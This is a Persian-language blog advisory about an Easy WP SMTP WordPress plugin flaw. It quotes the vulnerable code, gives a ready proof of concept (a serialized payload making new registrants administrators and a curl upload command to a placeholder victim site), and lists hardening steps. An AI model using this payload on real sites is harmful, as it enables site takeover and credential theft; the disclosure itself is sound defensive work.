تبلیغ جدید خرید هاست ارزان
  • 2,307 بازدید
  • بدون نظر

به تازگی حملاتی به سایت‌های وردپرسی مشاهده شده که پس از تحقیق و بررسی‌های پیاپی مشکل کشف شد. این مشکلات از سمت افزونه Easy WP SMTP است که سایت وردپرسی را در معرض خطر حمله با تزریق کدهای مخرب در آن، قرار می‌دهد. اما چگونه از این خطر حمله به وردپرس دور بمانیم؟ پاسخ شما بسیار ساده است! با بروزرسانی افزونه Easy WP SMTP در وردپرس!
شاید بعضی از دوستان با این افزونه آشنا نباشند. “افزونه Easy WP SMTP امکان پیکربندی و ارسال ایمیل‌های خارجی از طریق یک سرور SMTP را می‌دهد. این امر باعث جلوگیری از ارسال ایمیل‌ها به پوشه‌های Junk یا Spam می‌شود. ”

خطر حمله به وردپرس

خطر حمله به وردپرس

آسیب‌پذیری که در این افزونه یافت شد از ۱۵ مارس توسط هکرها مورد سوء استفاده قرار گرفت و توسط فایروال افزونه Ninjafirewall به دام افتاد. و نتایج زیر حاصل شد:

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
    if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
         add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
         add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
    }
 
    //view log file
    if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
        if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
        $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
        if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
            if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
            wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
            };
        }
        $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
        if ( ! $logfile ) {
            wp_die( 'Can\'t open log file.' );
        }
        header( 'Content-Type: text/plain' );
        fpassthru( $logfile );
        die;
        }
    }
 
    //check if this is export settings request
    $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_export_settings ) {
        $data                    = array();
        $opts                    = get_option( 'swpsmtp_options', array() );
        $data[ 'swpsmtp_options' ]       = $opts;
        $swpsmtp_pass_encrypted          = get_option( 'swpsmtp_pass_encrypted', false );
        $data[ 'swpsmtp_pass_encrypted' ]    = $swpsmtp_pass_encrypted;
        if ( $swpsmtp_pass_encrypted ) {
        $swpsmtp_enc_key         = get_option( 'swpsmtp_enc_key', false );
        $data[ 'swpsmtp_enc_key' ]   = $swpsmtp_enc_key;
        }
        $smtp_test_mail          = get_option( 'smtp_test_mail', array() );
        $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
        $out                 = array();
        $out[ 'data' ]           = serialize( $data );
        $out[ 'ver' ]            = ۱;
        $out[ 'checksum' ]       = md5( $out[ 'data' ] );
 
        $filename = 'easy_wp_smtp_settings.txt';
        header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
        header( 'Content-Type: text/plain' );
        echo serialize( $out );
        exit;
    }
 
    $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_import_settings ) {
         $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
         if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
            echo $err_msg;
            wp_die();
        }
        $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
        try {
            $in = unserialize( $in_raw );
            if ( empty( $in[ 'data' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( empty( $in[ 'checksum' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
                 echo $err_msg;
                 wp_die();
            }
            $data = unserialize( $in[ 'data' ] );
            foreach ( $data as $key => $value ) {
                 update_option( $key, $value );
            }
            set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
            $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
            wp_safe_redirect( $url );
            exit;
        } catch ( Exception $ex ) {
            echo $err_msg;
            wp_die();
        }
    }
}

خطر حمله به وردپرس

دستور ()admin_init در قطعه کد بالا که از اسکریپت افزونه است، زمانی که کاربر به پیشخوان مدیریت دسترسی دارد، توسط admin_init اجرا می‌شود. این مورد باید با درون‌ریزی یا برون‌بری در پیکربندی افزونه و بروز رسانی تنظیمات آن در پایگاه داده مشاهده و حذف شود. این قابلیت سطح دسترسی کاربر را بررسی نمی‌کند، از این رو هر کاربر وارد شده می‌تواند به عنوان یک مشترک باشد. اما این مورد می‌تواند عملیاتی را برای انجام توسط کاربران غیرمجاز و نامعتبر اجرا کند و همین موضوع خطر حمله به وردپرس را دامن می‌زند. زیرا افزونه Easy WP SMTP ممکن است بصورت ایجکسی و در admin_init اجرا شود. این موضوع اینگونه در  WordPress API توصیف شده است:

توجه داشته باشید، این مشکل فقط بر روی نمایشگرهای مدیریت شده کاربر اجرا نشده بلکه بر روی admin-post.php و admin-ajax.php نیز ظاهر خواهد شد.

بنابراین، کاربران غیرمجاز توانایی ارسال درخواست‌های ایجکسی مانند action=swpsmtp_clear_log را برای اجرای عملکرد بالا دارند. همین امر خطر حمله به وردپرس را به وجود می‌آورد.

اثبات این مفهوم

خطر حمله به وردپرس

برای اثبات مفهومی که در این محتوا در مورد آن صحبت می‌کنیم، از swpsmtp_import_settings برای بارگذاری فایل‌هایی که حاوی سریال‌های مخرب هستند و باعث فعال شدن ثبت‌نام کاربران می‌شوند استفاده کردیم. همچنین نقش کاربر را بصورت پیش‌فرض “مدیر” در پایگاه داده قرار دادیم.

۱- فایلی با عنوان  “tmp/upload.txt/” ایجاد کنید و اطلاعات زیر را در آن وارد نمایید:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

۲- فایل زیر را بارگذاری کنید:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

سایر دلایل خطر حمله به وردپرس

آسیب‌های دیگر نیز هستند که میزان خطر حمله به وردپرس را افزایش داده و مورد سوء استفاده افراد مخرب قرار می‌گیرند که عبارت است از:

  • اجرای کدهایی که درون آن‌ها کدهای مخرب php تزریق شده زیرا افزونه Easy WP SMTP از یک تابع نا ایمن به نام ()unserialize استفاده می‌کند.
  • مشاهده و حذف لاگ‌ها (یا هر نوع فایلی، زیرا هکرها می‌توانند نام فایل را تغییر دهند.)
  • خروجی گرفتن از افزونه که شامل اطلاعات سرور SMTP، نام کاربری، رمز عبور و استفاده از آن برای ارسال ایمیل‌های اسپم است.

نکته جالب اینجاست که هکرها از این آسیب‌پذیری برای تغییر محتوا و داده‌های وردپرس مانند جدول wp_user_roles در پایگاه داده و توانایی دسترسی مدیر به تمامی کاربران، استفاده می‌کنند. متاسفانه تغییر اکانت مدیر به راحتی در بخش کاربری شناسایی می‌شود. جالب‌تر اینجاست که تشخیص این تغییرات کار بسیار سختی است زیرا اکانت کاربری یک مدیر دقیقا مانند یک کاربر مشترک است فقط در بک‌گراند کار مشخص می‌شود که سطح دسترسی آن بسیار گسترده است.

توصیه‌های مهم

اولین و مهم‌ترین توصیه‌ای که برایتان داریم این است که با شتاب هر چه بیشتر افزونه Easy WP SMTP را در جهت حفظ امنیت وردپرس، بروزرسانی کنید. سپس به موارد زیر توجه کنید:

  • به قسمت تنظیمات>> عمومی مراجعه کنید و بررسی کنید که هیچ گزینه‌ای غیر عادی نیست و دست‌کاری نشده است. مواردی از قبیل آدرس سایت، آدرس ایمیل، نقش‌های کاربری و…
  • صفحه کاربران وردپرس را حتما چک کنید، کاربران جدید را بررسی کنید، حساب‌های کاربری غریبه را پیگیری کرده و حذف کنید. همچنین ایمیل مدیریت را نیز بررسی کنید که تغییری نکرده باشد.
  • برای در امان بودن از خطر حمله به وردپرس، تمامی پسوردها را تغییر دهید. (انتخاب پسورد قوی)
  • جدول wp_options را در پایگاه داده وردپرس مورد بررسی قرار دهید و در مورد نقش‌های کاربری در wp_user_roles اطمینان حاصل کنید.
  • فایل‌های سایت خود اسکن کنید زیرا هکرها ممکن است فایل‌هایی مخرب را در سایت شما ایجاد کنند. (اسکن وردپرسی)
  • پسورد SMTP خود را تغییر دهید زیرا ممکن است هکرها آن را کشف کرده باشند.
Avatar

درباره نویسنده : Mahdi

اگر زمین می خوری به این معنا نیست که شکست خوردی. اگر زمین خوردی و بلند نشدی شکست خورده ای!!

مطالب بیشتر از همین نویسنده